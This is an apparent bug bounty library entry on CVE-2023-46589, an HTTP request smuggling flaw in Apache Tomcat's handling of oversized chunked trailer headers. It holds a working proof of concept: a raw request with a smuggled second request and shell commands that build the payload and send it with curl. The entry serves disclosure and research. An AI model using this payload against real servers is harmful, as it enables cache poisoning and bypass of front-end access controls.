# Possibility of Request smuggling attack

Oversized trailer header in Tomcat chunked requests triggers IOException mid-parse, leaving trailing bytes parsed as a new request, enabling HTTP request smuggling behind a reverse proxy.

- Payout: $4,660
- Severity: high
- Program: Internet Bug Bounty
- Found by (vendor credit): Norihito Aimoto (OSSTech Corporation)
- Found by: aimotonorihito
- Disclosed: 2023-12-22
- CVE: CVE-2023-46589
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/2280391
- Library page: https://bugbountylibrary.com/r/h1%3A2280391
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:high tech:java technique:fuzzing technique:parser-differential vuln:request-smuggling

**Target:** Apache Tomcat HTTP/1.1 chunked trailer header parser
**Root cause:** Tomcat's trailer header parsing throws IOException when the trailer exceeds the header size limit, but the remaining buffered bytes are then interpreted as the start of a new request instead of being discarded/aborting the connection.
**Steps:**
1. Send a chunked POST with a valid body ending in `0\r\n`
2. Add a trailer header `testtrailer: ` followed by 8179 'a' chars exceeding the header size limit, then CRLF
3. Append smuggled request bytes: `a: GET /examples/?this_is_attack HTTP/1.1\r\nHost: attack\r\n\r\n`
4. Pipe via `curl telnet://localhost:8082/ --output -`
5. Observe two HTTP responses and two access-log entries for one connection
**How found:** Researcher tested boundary conditions of trailer header size limits and observed that exceeding the limit caused Tomcat to treat one request as multiple, confirmed via access log showing two requests from one connection.
**Exploitation:** Attacker sends a single chunked request whose oversized trailer triggers an IOException; Tomcat then parses the trailing smuggled bytes as a second request. Behind a reverse proxy that forwards the connection, this desyncs front-end/back-end request boundaries, allowing request queue poisoning, cache poisoning, or bypassing front-end access controls.
**Insight:** Fuzz the exact size-limit boundary of trailer/header parsing in HTTP servers: error paths that throw mid-parse often leave residual buffered bytes that get reinterpreted as a new request, a classic desync primitive.

## Proof of concept (copied exactly from the original report)

**Raw HTTP request with oversized trailer smuggling second request**

```
POST /examples/test.jsp HTTP/1.1
Host: www.example.co.jp
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Connection: KeepAlive

5
foo=b
2
ar
0
testtrailer: aaaaa...(large size)
a: GET /examples/?this_is_attack HTTP/1.1
Host: attack
```

**Shell commands building and sending attack payload**

```
$ echo -n "testtrailer: " > 8190_EXCLUDE_COLON_SP_CR_LF.txt
$ for i in `seq 8179`; do echo -n "a"; done >> 8190_EXCLUDE_COLON_SP_CR_LF.txt
$ perl -e 'print "\r\n"' >> 8190_EXCLUDE_COLON_SP_CR_LF.txt
$ head -11 base.txt > attack5.txt
$ cat 8190_EXCLUDE_COLON_SP_CR_LF.txt >> attack5.txt
$ perl -e 'print "a: GET /examples/?this_is_attack HTTP/1.1\r\nHost: attack\r\n\r\n"' >> attack5.txt
$ cat attack5.txt | curl telnet://localhost:8082/ --output -
```

